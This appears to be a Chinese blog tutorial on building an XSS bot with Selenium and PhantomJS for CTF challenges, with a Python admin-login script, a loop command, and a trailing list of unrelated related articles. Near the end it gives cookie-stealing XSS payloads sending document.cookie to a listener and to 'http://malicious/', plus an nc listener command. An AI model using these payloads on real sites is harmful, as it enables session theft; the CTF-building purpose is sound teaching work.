如何写一个Xss Bot
如何写一个Xss Bot
现在的ctf比赛里
xss的出题方式比较特殊,一般使用xss bot,所以借鉴大佬经验尝试弄一个xss题目。
xss bot
就是代替管理员去完成点击页面的任务,bot需要能够执行js,事情的本质是我们需要一个浏览器内核来解析js
xss bot一般会用selenium+webdriver
webdriver一般有3种
chrome webdriver、firefox webdriver、phantomjs
selenium
selenium是用来控制webdriver的接口的
chrome和firefox的webdriver都有一个特点,就是需要桌面,我们搭建题目在docker环境中会有问题,
phantomjs和别的浏览器本质上没什么区别,差不多也是类似于浏览器的内核,优势其实是多平台支持,而且不需要浏览器支持(但是PhantomJS官方宣布暂停开发,python做爬虫的话,不要再用PhantomJS)
这里我们为了方便暂时使用phantomjs。
Selenium+PhantomJS安装
最新版selenium已经放弃PhantomJS了,selenium版本降级安装
pip install selenium==2.48.0
ubuntu下可以直接
apt install PhantomJS
下载设置好环境变量即可使用。
以留言板xss为例做一个xss bot
网站留言处存在xss,bot实现功能模拟管理员登录后访问留言页面。
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Auther: xf@hackxf.cn
#导入webdriver API对象,可以调用游览器和操作界面
from selenium import webdriver
import time
#要想调用键盘按键,鼠标操作需要引入keys包
from selenium.webdriver.common.keys import Keys
#创建PhantomJS浏览器对象
driver = webdriver.PhantomJS()
#加载网站页面
driver.get("http://192.168.228.36/admin/login.php")
#找到页面input输入标签并填充文本内容admin
driver.find_element_by_name('user').send_keys("admin")
driver.find_element_by_name('password').send_keys("ying20181818") #输入帐号密码登录网站
#By Class Name 找到class=button的按钮并模拟点击
data = driver.find_element_by_class_name('button').click()
time.sleep(1)
# driver.save_screenshot("sss.png") #截屏
for cookie in driver.get_cookies(): #打印当前cookie
print("%s -> %s"%(cookie['name'], cookie['value']))
#管理员登录状态访问存在xss的页面
driver.get("http://192.168.228.36/post.php?id=1")
# driver.save_screenshot("sss1.png") #截屏
for cookie in driver.get_cookies():
print("%s -> %s"%(cookie['name'], cookie['value']))
# print data
# print driver.title
#退出驱动关闭所有窗口
driver.quit()
参考资料
Selenium+PhantomJS使用时报错原因及解决方案
登录或者设置cookie
实现xss bot一分钟运行一次的sh脚本
while sleep 1; do phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any xss-bot.js; done;
x入payload
<script>
new Image().src="http://127.0.0.1:1234/"+(document.cookie);
</script>
<script>document.write('<img src="http://malicious/?'+document.cookie+' "/>');</script>
vps监听端口
nc -lvp 1234
一旦我们的PhantomJS XSS bot访问易受攻击的URL并执行有效负载,我们将收到对侦听器的回调
如何写一个Xss Bot的更多相关文章
- 用Node+wechaty写一个爬虫脚本每天定时给女(男)朋友发微信暖心话
wechatBot 微信每日说,每日自动发送微信消息给你心爱的人 项目介绍 灵感来源 在掘金看到了一篇<用Node + EJS写一个爬虫脚本每天定时女朋友发一封暖心邮件>后, 在评论区偶然 ...
- 怎样写一个webpack loader
div{display:table-cell;vertical-align:middle}#crayon-theme-info .content *{float:left}#crayon-theme- ...
- 请写一个php函数,可以接受任意数量的参数
请写一个php函数,可以接受任意数量的参数 这是一道面试题.怎么写这个函数呢? function fun(......) { } ----------------------------------- ...
- 学记:为spring boot写一个自动配置
spring boot遵循"约定优于配置"的原则,使用annotation对一些常规的配置项做默认配置,减少或不使用xml配置,让你的项目快速运行起来.spring boot的神奇 ...
- 自己写一个 jQuery 插件
我知道这一天终将会到来,现在,它来了. 需求 开发 SharePoint 的 CSOM 应用时,经常需要在网页上输出一些信息. 这种需求和 alert 的弹窗.F12 的断点查看信息的场景是不一样的: ...
- 深入浅出React Native 3: 从零开始写一个Hello World
这是深入浅出React Native的第三篇文章. 1. 环境配置 2. 我的第一个应用 将index.ios.js中的代码全部删掉,为什么要删掉呢?因为我们准备从零开始写一个应用~学习技术最好的方式 ...
- 【转】用C写一个简单病毒
[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of t ...
- JS入门学习,写一个时钟~
<!-- 耽搁了几天,于是又继续回到JS的学习了~~ 各种头大,加油吧... --> <!doctype html><html><head> <t ...
- JS高级群的日常!写一个从10到0的倒计时,用console.log打印,不可以用 setInterval!本来说好的研究avalonJS最后演变成了看着大神在那边互相比拼实力。。
JS高级群的日常!写一个从10到0的倒计时,用console.log打印,不可以用 setInterval!本来说好的研究avalonJS最后演变成了看着大神在那边互相比拼实力.. 小森执行一 ...
随机推荐
- 内置数据结构(str)
一.字符串(str) 1.字符串在python2版本中为一个byte序列,在python3版本中为一个unicode序列,并且字符串是不可变的. sr = str() sr = 'string' sr ...
- redis 配置文件redis.conf
daemonize yes #---默认值no,该参数用于定制redis服务是否以守护模式运行.--- pidfile /var/run/redis.pid #默认值/var/run/redis.pi ...
- Git Hooks、GitLab CI持续集成以及使用Jenkins实现自动化任务
Git Hooks.GitLab CI持续集成以及使用Jenkins实现自动化任务 前言 在一个共享项目(或者说多人协同开发的项目)的开发过程中,为有效确保团队成员编码风格的统一,确保部署方式的统一, ...
- 【转载】uWSGI配置翻译
英文原版: http://uwsgi-docs.readthedocs.io/en/latest/Options.html 转载地址: http://www.cnblogs.com/zhouej/ar ...
- css3动画效果小结
css3的动画功能有以下三种: 1.transition(过度属性) 2.animation(动画属性) 3.transform(2D/3D转换属性) 下面逐一进行介绍我的理解: 1.transiti ...
- 2017-2018-2 20165318 实验二《Java面向对象程序设计》实验报告
2017-2018-2 20165318 实验二<Java面向对象程序设计>实验报告 一.实验报告封面 课程:Java程序设计 班级:1653班 姓名:孙晓暄 ...
- 解决osx下 ssh: connect to host localhost port 22: Connection refused
解决办法: 终端下执行:sudo systmesetup -setremotelogin on
- virtualbox+vagrant学习-3-Vagrant Share-4-Vagrant Connect
Vagrant Connect vagrant可以共享到vagrant环境的任何或每个端口,而不仅仅是SSH和HTTP.“vagrant connect”命令为连接人员提供一个静态IP,他们可以使用该 ...
- JDK(九)JDK1.7源码分析【集合】HashMap的死循环
前言 在JDK1.7&1.8源码对比分析[集合]HashMap中我们遗留了一个问题:为什么HashMap在调用resize() 方法时会出现死循环?这篇文章就通过JDK1.7的源码来分析并解释 ...
- nmap 扫描端口 + iftop 实时监控流量
sleep 1|telnet 127.0.0.1 223 nmap 127.0.0.1 -p 223 -PN (对禁ping IP) iftop -P -n -B -B 按字节显示 -N 切换 端 ...